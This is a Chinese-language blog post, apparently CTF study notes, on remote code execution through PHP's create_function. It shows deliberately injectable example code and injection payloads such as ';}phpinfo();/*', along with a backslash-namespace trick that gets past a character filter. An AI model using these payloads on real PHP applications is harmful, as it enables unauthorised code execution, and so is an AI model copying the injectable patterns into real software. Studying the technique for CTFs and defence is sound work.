CREATE_FUNCTION的RCE

发布于 2023-05-05  378 次阅读


函数使用

  • 根据传参创建匿名函数
create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分
  • 比如可以这么用,简单来说第一个参数传参给第二个参数,然后eval执行第二个参数
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc".'<br>';
echo 'emmm~'.$newfunc(2, M_E) . "\n";
?>
  • 其中,这个匿名函数可以被$newfunc(2, M_E)调用,函数名被存储在了$newfunc变量中,默认是lambda_1,每访问一次,默认命名就加1

(第一次访问是lambda_1)

(第二次访问是lambda_2)

  • 并且,这种规则是在整个php进程下共享的,比如在1.php中访问了一次,函数名为lambda_1,再次在2.php中访问的话,函数名不会从lambda_1开始计,而是直接是lambda_2

(第一次在1.php访问是lambda_1)

(第二次在2.php访问不是lambda_1而是lambda_2)

  • 断开连接或者关闭网页都不会让匿名函数重新计算,只有关闭php进程才能重新从lambda_1开始计(感觉可以利用以上特性给下次例会出一道题嘿嘿😋)

(关闭网页后重新打开,仍然是lambda_3)

(重启nginx后,变回lambda_1)

  • 综上,create_function等价于
<?php
function lambda_n($a,$b){//n由次数决定
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

函数利用

  • create_function创建函数时,如果能够控制第二个参数,就可以提前加括号闭环这个函数,然后注入代码,在通过/*将后面的内容注释掉就可以了,比如:
<?php
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>
  • 这里相当于创建了一个$f1($a)
$f1($a){
    echo $a.'test'.$id;
}
  • 我们可以传入;}来闭合函数体,然后注入代码比如phpinfo();原代码就变成了
$f1($a){
    echo $a.'test'.;}phpinfo();
}
  • 这时候会报错,所以加一个/*来注释掉后面的所有内容
$f1($a){
    echo $a.'test'.;}phpinfo();/*
}

  • 如果不闭合函数,直接注入到函数体内也是可以的,比如传入"1";phpinfo();原函数变为
$f1($a){
    echo $a.'test'."1";phpinfo();
}
  • 只不过在这个例子中,f1()没有被调用,所以不能这样做

  • 在其他情况下的思路也是闭环函数,比如

<?php
//how to exp this code
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>
  • 所以直接使用]);}闭环函数体,传入]);}phpinfo();/*我们可以闭环为
$sort_function($a,$b){
    return "1 * ".$sorter.'($a["' " ]);}phpinfo();/* . '"], $b["' . $sort_by . '"]);';
}

命名空间绕过

  • 在这个过滤中,传参(代码执行)不得以数字字母和下划线开头,本来一个eval(phpinfo(););就搞定的,现在麻烦了
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}
  • 实际上绕过很简单,这里正好接收两个参数,动态调用create_function,然后在create_function前面加\变成\create_function就可以了
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()
调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路
径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
  • 最终payload:?action=\create_function&arg=;}phpinfo();/*

  • ==ps:命名空间不是想用就用的,因为上面提到,命名空间用于函数,有些"函数"被视为"语言结构"而不能使用它,比如:==
<?php
$a=\echo "miao";//运行报错
?>

<?php
\system('dir');//没毛病
?>

  • 这里测试了一些例子,eval和echo用不了,system和phpinfo()可以用,至于哪些函数被视为语言结构可以使用的时候在本地测试一下,这里不再深究.
届ける言葉を今は育ててる
最后更新于 2024-02-11